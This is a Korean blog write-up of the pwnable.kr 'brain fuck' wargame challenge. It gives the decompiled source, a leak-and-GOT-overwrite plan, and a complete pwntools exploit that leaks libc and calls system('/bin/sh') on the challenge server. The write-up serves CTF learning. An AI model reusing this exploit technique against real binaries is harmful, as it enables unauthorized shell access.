Logo
Overview

pwnable.kr brain fuck write-up

January 15, 2023
1 min read

소스코드 분석


int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char input[1024]; // [esp+2Ch] [ebp-408h] BYREF
unsigned int v6; // [esp+42Ch] [ebp-8h]
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(input, 0, sizeof(input));
fgets(input, 1024, stdin);
for ( i = 0; i < strlen(input); ++i )
do_brainfuck(input[i]);
return 0;
}
int __cdecl do_brainfuck(char input)
{
int result; // eax
_BYTE *v2; // ebx
result = input - 43;
switch ( input )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}

brainfuck 언어에서 [, ] 명령어가 제외된 것을 확인할 수 있다.
바이너리 안에서 포인터 값을 조작하며 쉘을 획득할 수 있을 것 같다.

명령어에 대한 설명은 다음과 같다.

문자의미
>포인터 증가
<포인터 감소
+포인터가 가리키는 바이트의 값 증가
-포인터가 가리키는 바이트의 값 감소
.포인터가 가리키는 바이트의 값을 ASCII 문자로 출력
,포인터가 가리키는 바이트에 입력받은 문자의 ASCII 값을 넣음
[포인터가 가리키는 바이트의 값이 0이면 짝이 되는 뒤쪽의 ]로 이동
]포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 앞쪽의 [로 이동

출처: 위키백과

익스플로잇


1024 바이트만 입력할 수 있기 때문에 포인터 값을 조작할 수 있는 범위내에서 조작해야 한다.

시나리오

  1. system 함수의 실제 주소를 구한다.
  2. fgets -> system got overwrite
  3. memset -> gets got overwrite
  4. putchar -> main got overwrite
  5. putchar를 통해 main 함수를 호출하여 쉘을 획득한다.

getchar 함수로 하위 바이트를 조작하며 overwrite를 진행하였다.

p가 가리키는 값을 p로 변경하면 getchar 함수를 통해 하위 바이트를 쉽게 조작할 수 있다.

bf.py
from pwn import *
# context.log_level = 'debug'
# p = process('./bf')
p = remote('pwnable.kr', 9001)
e = ELF('./bf')
libc = e.libc
payload = '<' * 0x20
payload += ',.>.>.>.'
payload += '>' * 0x65
payload += ',,>,>,>,'
payload += '>' * 0x6d
payload += ',,>,>,>,'
payload += '>' * 0x51
payload += ',,>,>,>,'
payload += '.'
p.sendlineafter(']\n', payload)
p.send('\x18')
puts_addr = u32(p.recvuntil('\xf7'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
gets_addr = libc_base + libc.sym['gets']
log.info('puts: ' + hex(puts_addr))
log.info('libc_base: ' + hex(libc_base))
p.send('\x10')
p.send(p32(system_addr))
p.send('\x2c')
p.send(p32(gets_addr))
p.send('\x30')
p.send(p32(e.sym['main']))
p.sendlineafter(']\n', '/bin/sh')
p.interactive()

0

쉘을 획득했다.